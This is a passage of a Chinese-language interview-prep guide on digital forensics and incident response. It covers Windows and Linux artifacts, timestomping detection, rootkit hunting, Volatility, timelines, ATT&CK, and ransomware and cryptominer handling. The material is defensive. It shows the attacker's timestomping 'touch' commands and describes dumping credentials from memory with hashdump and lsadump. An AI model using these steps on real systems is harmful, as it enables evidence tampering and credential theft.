MD5 已被证明可以人为构造碰撞(两个不同文件 MD5 相同)
→ 法庭上会被质疑
→ 业界标准:SHA256(SHA1 也已不推荐)

实务做法:同时算 MD5 和 SHA256
  - MD5   用于快速比对(快、兼容老工具)
  - SHA256 用于法律效力

面试话术

“证据链是记录’这份证据从被收集到现在,经过谁的手、在什么地方、被用来做了什么’的表格,五个要素缺一不可:谁、什么、何时、何地、为什么。缺任何一项,证据链就有断点,法律上会被质疑。

算哈希是为了证明’这份证据没被改过’。要在采集的第一时间就算,然后每次复制、移动之后都要重新校验。用 SHA256 而不是 MD5——MD5 已经被证明可以人为构造碰撞,法庭上会被质疑;但实务上我一般两个都算,MD5 用于快速比对,SHA256 用于法律效力。“


H5|Windows 主机取证,你会看哪些地方?(难度 ★★★)

★ 五个地方(Artifact 地图)

① 内存        —— 最易失,最重要
② 注册表      —— 信息密度最高
③ 文件系统    —— MFT、USN、Prefetch、Amcache、SRUM
④ 事件日志    —— Security、System、Sysmon、PowerShell
⑤ 应用痕迹    —— 浏览器、最近文件、RDP 缓存

★ 十个高价值取证点(说出这些很加分)

# 取证点 在哪 能证明什么
1 UserAssist NTUSER.DAT 用户手动运行过哪些程序(ROT13 编码)
2 BAM / DAM SYSTEM hive 程序的最后执行时间(★ Win10+ 最强)
3 ShimCache SYSTEM hive 程序执行痕迹,含已删除的
4 Amcache C:\Windows\AppCompat\Programs\ 执行过的程序 + SHA1 哈希(★ 可直接查情报)
5 $MFT NTFS 元数据 所有文件的记录,删了也留痕
6 $UsnJrnl NTFS 元数据 文件变更流水账,含删除动作
7 Prefetch C:\Windows\Prefetch\ 程序运行次数、最后运行时间
8 SRUM C:\Windows\System32\sru\ 程序的网络流量(★ 数据泄露杀手锏)
9 Shellbags NTUSER.DAT / UsrClass.dat 浏览过的文件夹,含已删除的和网络共享
10 Recent / Jump Lists AppData\Roaming 打开过的文件,LNK 里有原始机器名和卷序列号

★ 加分点:三个“攻击者清不掉的”证据

① Amcache / BAM / ShimCache —— 在注册表 hive 里,清事件日志不影响
② SRUM —— 独立数据库,攻击者常不知道
③ Prefetch 的"该有却没有" —— 本身就是最强的恶意信号

面试话术

“Windows 取证我按五个地方找:内存、注册表、文件系统、事件日志、应用痕迹。

注册表里最有价值的是 UserAssist(用户手动运行过哪些程序,键名是 ROT13 编码的)、BAM/DAM(程序的最后执行时间,Windows 10 以后最强的时间证据)、以及 Amcache——它记录了执行过的程序和 SHA1 哈希,这个哈希可以直接拿去情报平台查,是最快的定性方法。

文件系统里最重要的是 $MFT(所有文件的记录,删了也留痕)和 $UsnJrnl(文件变更流水账,记录删除动作,攻击者几乎清不掉)、Prefetch(程序执行次数和最后运行时间)、SRUM(按小时统计每个程序的网络流量,数据泄露场景的杀手锏)。

我特别想强调三个’攻击者清不掉的’证据:Amcache 和 BAM 在注册表 hive 里,清事件日志完全不影响它们;SRUM 是独立数据库,很多攻击者压根不知道;还有 Prefetch 里’该有却没有某个文件’——这本身就说明有人清理过,是最强的恶意行为信号。“


H6|什么是 MFT?文件删了还能查到吗?(难度 ★★★)

一句话答案

MFT(Master File Table,主文件表) 是 NTFS 的核心数据库,每个文件一条记录。文件被删除时 Windows 不会立即删除 MFT 记录,只标记为“未使用”——所以删了也能查到。

★ MFT 的四个时间戳(必考)

① Created        创建时间
② Modified       内容最后修改时间
③ Accessed       最后访问时间(⚠️ Win10 默认关闭更新,不可靠)
④ Entry Modified ★ MFT 记录本身的修改时间
                  ★ 常见的 timestomping 工具改不了这个

★ 为什么“删了还能查到”

rm / 删除文件时的实际操作:
  ① 目录项被移除(文件名没了)
  ② MFT 记录的标志位改为"未使用"
  ③ 数据块标记为可用

★ 但 MFT 记录本身还在!里面还有:
  - 文件名、完整路径
  - 文件大小、四个时间戳
  - 数据块的位置

★ 只要那块空间还没被新数据覆盖 → 内容也能恢复

★ 这解释了取证最重要的原则:
   【不要在可疑机器上写入任何东西】
   你每写一个文件,都可能覆盖掉攻击者删除的关键证据

★ 面试官追问:怎么检测时间戳被伪造?

见 H7。

面试话术

“MFT 是 NTFS 的主文件表,硬盘上每个文件在里面都有一条记录。关键点是:文件被删除时 Windows 不会立即删除 MFT 记录,只是把它标记为未使用,把数据块标记为可用——所以记录还在,里面有文件名、完整路径、大小、四个时间戳和数据块位置。只要那块空间没被新数据覆盖,连文件内容都能恢复。

这也解释了取证最重要的原则:不要在可疑机器上写入任何东西,因为你每写一个文件都可能覆盖掉攻击者删除的关键证据。

MFT 有四个时间戳:创建、修改、访问、以及 MFT 记录本身的修改时间。第四个最重要——常见的 timestomping 工具改不了它,所以它是识别伪造的关键。另外访问时间在 Win10 上默认不更新,所以这个字段经常不可靠。“


H7|什么是 Timestomping?怎么检测?(难度 ★★★☆)

一句话定义

Timestomping=攻击者修改文件的时间戳,把它伪装成“很久以前就在了”,混在系统文件里躲避按时间排序的排查。

常见手法

# Windows(需要第三方 touch)
touch.exe -r C:\Windows\explorer.exe malware.dll
#   ★ 复制系统文件的时间戳("跟着系统文件走")

# Linux
touch -r /bin/ls malware      # 复制 /bin/ls 的时间
touch -t 202001010000 malware # 指定时间

★ 五种检测方法(核心)

方法一:【$SI vs $FN 对比】★★ 最可靠
  NTFS 每条 MFT 记录里有两套时间:
    $STANDARD_INFORMATION($SI):Windows 维护的,★ 可以被改
    $FILE_NAME($FN):存在父目录的索引里,★ 普通 API 改不了
  → 对比这两个,不一致 = 明确伪造

方法二:【Entry Modified 时间】
  timestomping 工具通常只改前三个时间戳,
  ★ 忘掉第四个(MFT Entry Modified)
  → Created 是 2020 年,Entry Modified 是 2026 年 = 伪造

方法三:【与父目录的时间对比】
  ★ 文件不可能比它所在的目录更早创建
  → 文件 Created 2020,父目录 Created 2026 = 伪造

方法四:【与系统安装时间对比】
  ★ 文件不可能比操作系统更早
  → 早于系统安装时间 = 伪造

方法五:【时间戳精度】
  真实的文件操作有随机的亚秒值(纳秒位)
  ★ 被工具批量改的往往是整点整秒(00.000000)
  → 一大堆文件的时间戳都是整秒 = 批量伪造

补充(Linux 专属):
  ★ touch 能改 atime 和 mtime,但【改不了 ctime】
  → mtime 显示 2020 年,ctime 是 2026 年 = ★ 明确伪造
  ★ ctime 不是创建时间(这是最常见的误解),
    Linux 真正的创建时间是 crtime(ext4 特有,用 stat 能看到)

面试话术

“Timestomping 就是攻击者修改文件时间戳,伪装成’很久以前就在了’来躲避按时间排序的排查。常见手法是复制系统文件的时间戳,比如把恶意 DLL 的时间改得跟 explorer.exe 一样。

检测有五种方法,最可靠的是对比 $SI 和 $FN。NTFS 每条记录里有两套时间:$SI 是 Windows 维护的、可以被改;$FN 存在父目录的索引里、普通 API 改不了。这两个不一致就是明确的伪造。

第二个方法是看 Entry Modified 时间——timestomping 工具通常只改前三个时间戳,忘掉 MFT 记录本身的修改时间。所以看到 Created 是 2020 年、Entry Modified 是 2026 年,基本就能断定。

第三个是跟父目录的时间对比——文件不可能比它所在的目录更早创建。第四个是跟系统安装时间对比,文件不可能比操作系统还早。

第五个是看精度——真实操作有随机的亚秒值,被工具批量改的往往是整点整秒。

Linux 上还有个特别有用的点:touch 能改 atime 和 mtime,但改不了 ctime。所以 mtime 是 2020 但 ctime 是 2026,就是明确的伪造。这里要提醒一个常见误解:ctime 不是创建时间,Linux 真正的创建时间是 crtime,用 stat 能看到。“


H8|Linux 上怎么查 Rootkit?(难度 ★★★★)

★ 核心难点:Rootkit 会替换系统命令,你看到的一切都可能是假的

你跑 ps      → 看到的是 Rootkit 伪造的结果
你跑 ls      → 看不到 Rootkit 的文件
你跑 netstat → 看不到 C2 连接
★ 这是 Linux 取证最大的坑

★ 六种检测方法

方法一:【/proc vs ps 对比】★ 最简单有效
  comm -23 \
    <(ls -d /proc/[0-9]* | sed 's|/proc/||' | sort -n) \
    <(ps -e -o pid= | tr -d ' ' | sort -n)
  ★ 输出 = 在 /proc 里有但 ps 看不到的 PID = 隐藏进程
  (/proc 是内核实时生成的,比 ps 难骗)

方法二:【/proc/modules vs lsmod】
  comm -23 <(cut -d' ' -f1 /proc/modules | sort) \
           <(lsmod | tail -n +2 | cut -d' ' -f1 | sort)
  ★ 差异 = 隐藏的内核模块(LKM Rootkit)

方法三:【包管理器校验】★ 找被替换的系统命令
  rpm -Va 2>/dev/null | grep '^..5'    # RHEL:校验和变了 ★
  dpkg --verify 2>/dev/null            # Debian
  debsums -c
  ★ 看到 "5"(校验和变了)就高度怀疑这个二进制被替换了

方法四:【用静态二进制】★ 最实用的对抗手段
  /mnt/usb/busybox-static ps aux
  /mnt/usb/busybox-static netstat -tunap
  /mnt/usb/busybox-static ls -la /proc/
  ★ Rootkit 通常只替换 /bin/ps、/usr/bin/netstat
    不会想到替换 U 盘上的静态 busybox

方法五:【内存取证】★ 最可靠
  vol.py -f mem.lime linux_pslist   # 内核链表视角(Rootkit 会摘链)
  vol.py -f mem.lime linux_psscan   # ★ 扫描内存(能找到被摘链的)
  #   ★ 两者差异 = 隐藏进程 ★★★
  vol.py -f mem.lime linux_check_modules  # 隐藏内核模块
  vol.py -f mem.lime linux_check_syscall  # ★ syscall 表 hook
  vol.py -f mem.lime linux_check_fop      # 文件操作表 hook
  vol.py -f mem.lime linux_malfind        # 注入代码

方法六:【检查已删除但仍运行的程序】★ Linux 特有
  for p in /proc/[0-9]*; do
      link=$(readlink "$p/exe" 2>/dev/null)
      [[ "$link" == *"(deleted)"* ]] && echo "PID ${p#/proc/}: $link"
  done
  ★ 输出 = 程序被删了但还在跑 = 明确的恶意特征
  ★ 还能 cp /proc/<PID>/exe 恢复出来

★ 五个必查的持久化位置(Linux)

① /etc/ld.so.preload       ★★★ LD_PRELOAD 全局注入
② /etc/pam.d/              ★ PAM 后门(能偷密码)
③ crontab(含用户级)      计划任务
④ systemd 服务 / timer      ★ 现代 Linux 最常用,容易漏
⑤ ~/.ssh/authorized_keys   ★ SSH 后门密钥(注意 command= 前缀)
⑥ SUID 文件                提权后门

面试话术

“查 Linux Rootkit 最大的坑是:你看到的可能都是假的——Rootkit 会替换 ls、ps、netstat,你跑 ps 看到的是它伪造的结果。

应对有六种方法。最简单有效的是对比 /proc 和 ps:/proc 是内核实时生成的,比 ps 难骗,把两者的 PID 列表做个差集,多出来的就是隐藏进程。

第二个是对比 /proc/modules 和 lsmod,差异就是隐藏的内核模块。

第三个是用包管理器校验,rpm -Va 或 dpkg –verify,输出里的 ‘5’ 表示校验和变了——说明这个二进制被替换了。这一招能直接找出被 Rootkit 换掉的 ls、ps、netstat。

第四个是最实用的对抗手段:用静态编译的可信二进制,比如从 U 盘跑 busybox-static 的 ps 和 netstat。Rootkit 通常只替换系统目录里的命令,不会想到替换 U 盘上的 busybox。

第五个是内存取证,用 Volatility 对比 linux_pslist(走内核链表,Rootkit 会摘链)和 linux_psscan(扫描内存,能找到被摘链的),两者差异就是隐藏进程。还能用 linux_check_syscall 看系统调用表有没有被 hook。

第六个是 Linux 特有的:检查 /proc/<PID>/exe 有没有显示 (deleted)——程序被删了但还在跑,这是明确的恶意特征,而且还能从 /proc 里把文件恢复出来。“


H9|Volatility 能干什么?说几个常用插件。(难度 ★★★)

一句话答案

Volatility 是最著名的内存取证工具,能从内存镜像里提取进程、网络、注入代码、凭据等信息。

★ 按用途分类的插件清单

# 【进程】
windows.pslist      内核链表视角
windows.psscan      ★ 扫描内存(能找隐藏进程)
windows.pstree      ★ 进程树(看父子关系异常)
windows.psxview     ★ 多视角对比(找 Rootkit 最有效)
windows.cmdline     ★ 命令行参数
windows.psxview

# 【网络】
windows.netscan     ★ 含已关闭的连接(★ 找 C2)
windows.netstat

# 【恶意代码】
windows.malfind     ★★★ 找注入的代码(最重要)
windows.ldrmodules  ★ 找 DLL 解链/隐藏
windows.dlllist
windows.handles

# 【凭据】
windows.hashdump    ★ SAM 里的 NTLM Hash
windows.lsadump     ★★ LSA 机密(含服务账号明文密码!)
windows.cmdline

# 【Rootkit 检测】
windows.ssdt        ★ 系统服务描述符表(看 hook)
windows.callbacks   内核回调
windows.driverscan  ★ 驱动扫描(找被摘链的)
windows.modules
windows.svcscan     服务(找隐藏服务)
windows.mutantscan  ★ 互斥体(很好的 IOC)

# 【文件】
windows.filescan    文件对象扫描
windows.dumpfiles   从内存 dump 文件

# Linux 对应
linux_pslist / linux_psscan / linux_pstree / linux_bash ★ / linux_psaux
linux_netstat / linux_netscan
linux_malfind / linux_check_modules / linux_check_syscall / linux_check_fop
linux_lsof / linux_dmesg / linux_tmpfs

★ 三个最有价值的技巧(答出来加分)

技巧一:【psxview 找隐藏进程】
  psxview 从多个内核数据结构列出进程,然后对比
  ★ 如果某个进程在 psscan 里有、在 pslist 里没有:
    → 它被从 PsActiveProcessHead 链表里摘掉了
    → ★ 100% 是 Rootkit(DKOM:直接内核对象操作)

技巧二:【malfind 找注入】★★★
  判断标准(命中任意一条就高度可疑):
    ① Protection = PAGE_EXECUTE_READWRITE(可写+可执行)
       ★ 正常内存段不会同时可写可执行(W^X 原则)
    ② 内存开头是 "MZ"(4D 5A)
       → 一个完整的 PE 文件被注入
    ③ 不在任何已加载模块的地址范围内
  ★ 常见误报:.NET 的 JIT 代码、浏览器 JIT 引擎、加壳程序

技巧三:【lsadump 提凭据】★★
  ★ 里面有服务账号的【明文密码】
    (服务用密码登录时 AD 会存明文)
  ★ 取证意义:
     拿到凭据清单 = 知道攻击者可能拿走了哪些凭据
     → ★ 直接决定要重置哪些账号的密码
     → 这是内存取证对应急响应最直接的价值

面试话术

“Volatility 是最著名的内存取证工具。插件按用途分几类:进程类有 pslist、psscan、pstree、psxview;网络类有 netscan(能看到已关闭的连接,这是找 C2 的关键);恶意代码检测最重要的 malfind;凭据提取有 hashdump 和 lsadump;Rootkit 检测有 ssdt、callbacks、driverscan、svcscan。Linux 上对应的是 linux_ 前缀的插件。

三个最有价值的技巧。第一个是用 psxview 找隐藏进程——它从多个内核数据结构列出进程然后对比,如果某个进程在 psscan 里有但在 pslist 里没有,说明它被从内核链表里摘掉了,这 100% 是 Rootkit 的 DKOM 手法。

第二个是** malfind 找注入**,判断标准是三条:内存段同时可写和可执行(违反 W^X 原则)、开头是 MZ 头(说明有完整的 PE 被注入)、不在任何已加载模块的地址范围内。要注意 .NET JIT 和浏览器 JIT 会误报,得结合上下文判断。

第三个是 lsadump 提取凭据——它里面有服务账号的明文密码。这一条对应急响应最直接:拿到凭据清单就知道攻击者可能拿走了什么,直接决定要重置哪些账号的密码。“


H10|什么是超级时间线?怎么做?(难度 ★★★)

一句话答案

超级时间线:把一台机器上所有带时间戳的记录(文件系统、注册表、日志、浏览器、内存)合并成一张按时间排序的总表。

★ 为什么它是“终极武器”

单独看一个数据源只能看到局部。
★ 把它们按时间排在一起,完整的故事就浮现了:

  02:11:30  [浏览器]    点击邮件链接
  02:12:00  [文件系统]  invoice.doc 创建
  02:12:30  [Prefetch]  WINWORD.EXE 首次运行
  02:14:20  [事件日志]  4688:winword.exe → mshta.exe ★★
  02:14:25  [内存]      连到 203.0.113.5:443 ★
  02:15:00  [文件系统]  payload.dll 写入 Temp
  02:15:30  [malfind]   内存注入 ★
  02:16:00  [Sysmon 13] 注册表 Run 键被改(持久化)
  02:20:00  [SRUM]      mshta.exe 上传了 5MB ★

★ 攻击过程一目了然

★ 怎么做(Plaso)

# ① 生成
log2timeline.py --storage-file /case/tl.plaso /evidence/mnt

# ② 转 CSV(Timeline Explorer 打开)
psort.py -o l2tcsv -w /case/tl.csv /case/tl.plaso

# ③ 过滤(★ 必做,全量太大)
psort.py -o l2tcsv -w /case/tl_filtered.csv /case/tl.plaso \
    "date > '2026-03-15' AND source NOT IN ('FILE')"

# ④ 分析(Timeline Explorer 或 Timesketch)

★ 时间线的两个大坑(必说)

坑一:时区混乱
  不同数据源用不同时区:
    UTC:  Windows 事件日志、NTFS 时间戳、ext4 inode
    本地: 某些应用日志、FAT 文件系统(★ U 盘)

  ★ 三条铁律:
    ① 分析时统一用 UTC(从一开始就定好)
    ② 采集时记录机器的时区
    ③ 只在最后汇报时才转成本地时间,并在报告里标注

坑二:Timestomping
  时间戳可以被伪造
  → 所以时间线里的"矛盾"本身就是线索
  → 见 H7

面试话术

“超级时间线就是把一台机器上所有带时间戳的记录——文件系统、注册表、日志、浏览器、内存——合并成一张按时间排序的总表。

它的价值在于:单独看一个数据源只能看到局部,但把它们按时间排在一起,完整的攻击故事就浮现了。比如你会看到’02:11 点击邮件链接 → 02:12 下载附件 → 02:14 Word 启动了 mshta → 02:15 内存注入 → 02:16 改注册表持久化 → 02:20 外传 5MB 数据’,整个链条一目了然。

工具用 Plaso:log2timeline.py 生成存储文件,psort.py 转成 CSV,然后用 Timeline Explorer 或 Timesketch 分析。一定要做过滤,全量可能几百万行没法看。

两个大坑必须注意。一个是时区混乱:Windows 事件日志和 NTFS 时间戳是 UTC,但某些应用日志和 FAT 文件系统(比如 U 盘)用的是本地时间。所以我的做法是全程用 UTC,采集时记录机器时区,只在最后汇报时才转换并在报告里标注。另一个是 Timestomping——时间戳可以被伪造,所以时间线里的矛盾本身就是线索。“


H11|IOC 和 IOA 有什么区别?哪个更重要?(难度 ★★★★)

★ 核心答案:两者都重要,但IOA 更重要(因为它能抓未知)。

维度 IOC
失陷指标
IOA
攻击指标
定义 能证明“已经被攻陷”的证据 描述“正在发生的攻击行为”
回答 “这件事已经发生了吗?” “现在正在发生什么?”
形态 静态、具体
哈希、IP、域名、互斥体
行为的、泛化的
“非系统进程访问 LSASS”
时效 ★ 短(改个 IP 就失效) ★ 长(行为模式难改)
检出时机 事后 ★ 事中(可拦截)
绕过难度 ★ 容易(改哈希、换 IP) ★ 难(必须改变行为模式)

★ 为什么 IOA 更重要(核心洞察,必说)

IOC 的根本问题:它描述的是"上一次攻击长什么样"
  攻击者改个 IP、重新编译一次、改个互斥体名
  → ★ 所有 IOC 全部失效
  → ★ 改变 IOC 的成本【几乎为零】

IOA 的优势:它描述的是"攻击必然要做的事"
  不管用什么工具、什么 IP、什么哈希:
    要偷凭据   → 必须访问 LSASS          ★ 跑不掉
    要投递     → 必须让 Office 产生子进程 ★ 跑不掉
    要加密文件 → 必须大量读写文件         ★ 跑不掉
    要持久化   → 必须写注册表/服务/计划任务 ★ 跑不掉
  → ★ 改变【行为模式】的成本【很高】

★ 业界说法:IOC 让你找到已知,IOA 让你发现未知

★ 类比:
  IOC 像是"通缉令"(照片、身份证号)—— 换个发型就认不出了
  IOA 像是"行为画像"(总戴黑帽、总在半夜出门)—— 换装也没用

★ 实务:三层配合

第一层:IOC(挡已知的、低级的)
  防火墙封 IP/域名、EDR 哈希黑名单
第二层:IOA(抓未知)★ 主力
  EDR 行为规则、SIEM 关联规则、Sysmon + Sigma
第三层:异常检测(抓最隐蔽的)
  UEBA、基线偏离
  ★ 误报率最高

★ 现实:大部分企业第一层还行,第二层严重不足
  因为第二层需要"检测工程"能力

面试话术

“IOC 是失陷指标,是能证明’已经被攻陷’的证据,比如文件哈希、C2 的 IP 和域名、互斥体名。IOA 是攻击指标,描述的是’正在发生的攻击行为’,比如’非系统进程访问了 LSASS’、‘Word 启动了 cmd’。

我认为 IOA 更重要,原因是 IOC 描述的是’上一次攻击长什么样’——攻击者换个 IP、重新编译一次、改个互斥体名,所有 IOC 就全部失效了,改变 IOC 的成本几乎为零。而 IOA 描述的是’攻击必然要做的事’:不管用什么工具,要偷凭据就必须访问 LSASS,要投递就必须让 Office 产生子进程,要加密文件就必须大量读写,要持久化就必须写注册表或计划任务。攻击者改变行为模式的成本很高。

所以业界的说法是:IOC 让你找到已知,IOA 让你发现未知。

但实务上两者要配合,我一般分三层:第一层用 IOC 挡已知的、低级的攻击;第二层用 IOA 做主力,抓 0day 和针对性攻击;第三层用异常检测抓最隐蔽的。现实是大部分企业第一层做得还行,第二层严重不足——因为第二层需要真正的检测工程能力。“


H12|MITRE ATT&CK 是什么?有什么用?(难度 ★★★)

一句话答案

MITRE ATT&CK=攻击者技战术知识库,把真实攻击手法编成目录,每条有编号、说明、检测方法、缓解措施。

★ 核心结构

Tactic(战术)      【为什么做】14 个,覆盖攻击全生命周期
Technique(技术)   【怎么做】如 T1055 Process Injection
Sub-technique       【更细】如 T1055.012 Process Hollowing
Group(组织)       【谁】如 G0016 APT29
Software(软件)    【用什么】如 S0002 Mimikatz
Mitigation(缓解)  【怎么防】
Data Source(数据源)【检测需要什么日志】★ 实用

★ 14 个 Tactic(按攻击链顺序,要能背出来)

1. 侦察 Reconnaissance
2. 资源开发 Resource Development
3. 初始访问 Initial Access
4. 执行 Execution
5. 持久化 Persistence
6. 提权 Privilege Escalation
7. 防御规避 Defense Evasion
8. 凭据访问 Credential Access
9. 发现 Discovery
10. 横向移动 Lateral Movement
11. 收集 Collection
12. 命令控制 Command and Control
13. 数据渗出 Exfiltration
14. 影响 Impact

★ 四个实用场景

① 【给事件打标签】
   不用 ATT&CK:"攻击者用 PowerShell 下载了文件然后注入 svchost"
   用 ATT&CK :T1059.001 + T1105 + T1055.012 + T1547.001 + T1071.001
   ★ 好处:简洁、无歧义、能跟别人的报告对比、能查怎么防

② 【检测覆盖度评估】★ 最有价值
   ① 列出所有检测规则
   ② 给每条打 ATT&CK 标签
   ③ 导入 ATT&CK Navigator,生成热力图
   ④ ★ 看哪些格子是空白 = 我们的盲区
   ⑤ 优先补高频高危的技术

③ 【紫队演练】
   ★ 用 Atomic Red Team(提供每条技术的自动化测试脚本)
   跑一次 → 看有没有告警 → 没告警就是盲区,补规则
   ★ 这是最低成本的检测能力验证方法

④ 【威胁情报关联】
   情报说"APT29 在用 T1055.012"
   → 立刻能查:我们有没有检测?有没有相关日志?
   → ★ 让情报从"一堆 IOC"变成"可落地的行动项"

面试话术

“MITRE ATT&CK 是攻击者技战术的知识库,把真实的攻击手法编成目录,每条技术有编号、说明、检测方法、缓解措施,还标注了检测它需要什么数据源。

核心结构分几类:Tactic 是战术,就是攻击的目标和阶段,一共 14 个,从侦察、初始访问、执行、持久化、提权、防御规避、凭据访问、发现、横向移动,到收集、命令控制、数据渗出、影响。Technique 是具体手法,比如 T1055 是进程注入,下面还有子技术比如 T1055.012 进程镂空。另外还有 Group(威胁组织)、Software(恶意软件)、Mitigation(缓解措施)和 Data Source(检测需要什么日志)。

它有四个实用场景。第一是给事件打标签,让报告简洁无歧义、能跟别人的对比、能查怎么防。第二是最有价值的——做检测覆盖度评估:把现有检测规则打上 ATT&CK 标签,导入 ATT&CK Navigator 生成热力图,看哪些格子是空白,那就是我们的盲区,然后优先补高频高危的技术。第三是紫队演练,用 Atomic Red Team 提供的测试脚本实际打一次,看检测能不能抓到。第四是威胁情报关联,情报说某个组织在用某条技术,我们立刻能查自己有没有检测和日志。“


8.11.2 进阶题(H13 ~ H22)


H13|应急响应分哪几个阶段?每个阶段做什么?(难度 ★★★)

★ 六阶段(PDCERF)

① 准备 Preparation      ★ 最重要但最容易被忽略
② 检测 Detection
③ 遏制 Containment
④ 根除 Eradication
⑤ 恢复 Recovery
⑥ 复盘 Follow-up        ★ 价值最高

每个阶段的要点(见 8.1.5 的详细版,这里是精简版)

【① 准备】★ 平时就要做
  应急预案、联系人清单(★ 凌晨 3 点能打通的手机号)、
  工具箱(★ 提前下载好放 U 盘)、通信渠道(★ 含带外)、
  权限准备、演练
  ★ "没有准备的应急响应 = 没有应急响应"

【② 检测】
  四个来源:技术告警、外部通知、内部报告、威胁狩猎
  第一件事:【定级】严重/高/中/低
  ★ 定级决定投入多少资源、要不要上报、要不要外援

【③ 遏制】
  ★ 关键决策:怎么隔离
  短遏制(分钟级):断网、封 IP、禁用账号
  长遏制(小时级):打补丁、临时规则
  ★ 优先【网络隔离】而不是关机(保住内存证据)
  ★ 五个必须同时考虑的问题(见 8.1.5)

【④ 根除】
  ★ 前提:查清楚。不知道他怎么进来的 → 一定还有别的后门
  找齐所有持久化、所有失陷账号、所有失陷机器
  补入口漏洞
  ★ 检查备份是否干净

【⑤ 恢复】
  从【干净】的备份恢复(★ 先验证没被感染)
  分阶段上线、加强监控
  ★ 恢复后 2~4 周是"复发"高发期

【⑥ 复盘】★ 价值最高
  时间线、根因分析、改进项(有 owner 有 deadline)、
  预案更新、检测规则补充
  ★ 原则:无责(Blameless)

面试话术

“应急响应按 PDCERF 六个阶段:准备、检测、遏制、根除、恢复、复盘。

我要特别强调两个。准备阶段最重要但最容易被忽略——工具要提前下载好放在应急 U 盘(事发时可能断网),联系人清单要有凌晨三点能打通的手机号,还要想好如果攻击者控制了邮件系统你怎么联系同事。没有准备的应急响应等于没有应急响应。

复盘阶段价值最高——不复盘,同样的事件一定会再来一次。产出要有完整时间线、根因分析、带 owner 和 deadline 的改进项、预案更新,以及最重要的一条:把’这次没发现的’补成新的检测规则。

中间三个阶段里,遏制的关键是决策怎么隔离——我优先选网络隔离而不是关机,因为关机丢内存证据。根除的前提是查清楚入口,不知道他怎么进来的就一定还有别的后门。恢复要注意从干净的备份恢复,而且恢复后两到四周是复发高发期。“


H14|勒索软件事件怎么处置?(难度 ★★★★☆)

见 8.9.2 剧本一的详细版,这里是面试用的精简版。

★ 前 15 分钟的三个问题 + 四个并行行动

【立即要回答的三个问题】
  ① 是不是勒索软件?
  ② ★ 加密还在进行吗?(★★★ 最关键)
  ③ 波及范围?

【四个并行行动(不要串行!)】
  行动 1:切断加密 ★ 最高优先级
    还在加密 → 立即断网,毫不犹豫
    ★ 每分钟都在丢数据,证据可以损失,数据不能
    ⚠️ 不要"关机"(可能触发破坏逻辑),要"断网"

  行动 2:保护备份 ★★★
    检查备份是否可达、是否被加密
    ★ 立即断开备份与生产网络(或置为只读)
    ★ 很多勒索软件会【专门先删备份】
    云备份:立即创建快照

  行动 3:保住域控
    没被加密 → 加强保护 + 重置 krbtgt
    被加密 → 灾难级,启动离线恢复

  行动 4:快速取证(5~10 分钟)
    ★ 内存 dump(★ 加密密钥可能在内存里!)
    进程列表、网络连接
    ★ 勒索信文件(识别家族的最好线索)

★ 三个关键决策

决策一:识别家族,找解密器 ★ 先做这个
  ID Ransomware(上传勒索信自动识别)
  ★ No More Ransom(有免费解密工具!)
  ★ 很多旧家族有公开解密器 —— 这一步能直接省掉赎金

决策二:付不付赎金?
  ★ 安全团队的标准答案:不建议付
    ① 付了不保证拿到密钥
    ② 资助犯罪
    ③ 可能违反制裁合规
    ④ 会被标记为"愿意付",以后反复被攻击
    ⑤ 即使拿到密钥,解密要几周且不一定完整
  ★ 但诚实说:如果业务无法承受且没有备份,
    这是【业务决策】不是【安全决策】
    → 应由 CEO/董事会决定,安全团队提供信息

决策三:什么时候恢复?
  ★ 恢复前必须确认:
    ① 入口漏洞已修复
    ② 所有后门已清除
    ③ 所有凭据已重置
    ④ 监控已加强
  ★ 急着恢复 = 二次感染

★ 复盘必做的六项改进

① 备份策略:3-2-1(3 份、2 种介质、1 份离线/不可变)
② ★ 定期恢复演练(★ 很多公司有备份但没验证过能恢复!)
③ 禁用 RDP 外网暴露 / 上 MFA
④ EDR 全覆盖
⑤ 邮件网关加强
⑥ ★ 网络分段(让勒索不能横向扩散)

面试话术

“勒索软件处置,前 15 分钟要回答三个问题:是不是勒索软件、加密还在进行吗(这个最关键)、波及多大范围。

然后四个行动并行,不能串行。第一是切断加密——如果还在加密就立即断网,毫不犹豫,每分钟都在丢数据,证据可以损失数据不能。注意是断网不是关机,关机可能触发某些勒索的破坏逻辑。第二是保护备份——很多勒索软件会专门先删备份,所以要立即断开备份与生产网络的连接,云备份立即创建快照。第三是保住域控,没被加密就加强保护加重置 krbtgt。第四是花五到十分钟快速取证,最重要的是内存 dump——因为加密密钥有可能还在内存里,这一点很多人不知道。

然后是三个关键决策。第一个是识别家族找解密器,先查 No More Ransom,很多旧家族有公开的免费解密工具,这一步能直接省掉赎金问题。第二个是付不付赎金,安全团队的标准答案是不建议付——付了不保证拿到密钥、资助犯罪、可能违反制裁合规、而且会被标记为愿意付以后反复被攻击。但我也要诚实说,如果业务真的无法承受且没有备份,这是业务决策不是安全决策,应该由董事会决定,我们提供信息。第三个是什么时候恢复,恢复前必须确认入口漏洞修了、后门清了、凭据重置了、监控加强了,急着恢复就会二次感染。

复盘必做的改进里,我想强调两条:一是备份要 3-2-1 且要有不可变副本;二是一定要定期做恢复演练——我见过太多公司有备份但从没验证过能恢复,出事才知道备份是坏的。“


H15|挖矿木马怎么处置?为什么不能直接杀进程?(难度 ★★★☆)

★ 为什么不能直接杀进程(本题考点)

原因一:有"看门狗"进程 ★
  挖矿木马的标配是"守护进程":
    - 一个进程定时检查主进程在不在,不在就重启
    - ★ 或者用 cron + curl 从远程重新拉脚本执行
    - 或者多个进程互相守护
  → ★ 你杀了主进程,几秒钟后它又回来了

原因二:有持久化
  cron、systemd 服务、计划任务、ld.so.preload
  → ★ 杀进程前不清持久化,重启后又起来了

原因三:暴露了你已发现
  ★ 攻击者看到进程没了,可能:
    - 换更隐蔽的方式
    - 加速其他攻击动作
    - ★ 清理痕迹

原因四:错过取证机会
  直接杀掉 → 内存证据没了、网络连接断了
  → 不知道矿池地址、不知道入口、不知道他还做了什么

★ 正确的六步

① 不要动,先观察(5~10 分钟)
   - 进程树(谁启动谁)
   - 网络连接(连哪个矿池)
   - ★ 找看门狗
   - 找持久化

② 找持久化(★ 杀进程之前必须先做)
   Linux: crontab(含用户级)、/etc/cron.d、systemd timer、
          /etc/ld.so.preload、authorized_keys、PAM 后门、rc.local
   Windows: 计划任务、服务、注册表 Run、WMI 订阅

③ 找看门狗(★ 挖矿的标配)
   - 看进程树
   - ★ 常见:cron + curl 从远程拉脚本

④ 一次性清除(★ 并行,顺序很重要)
   ★ 顺序:先清持久化 → 断网 → 杀进程
   (反过来会被重新下载)
   - 同时杀掉所有相关进程(含看门狗)

⑤ 找入口 ★★★(★ 这一步最容易被忽略)
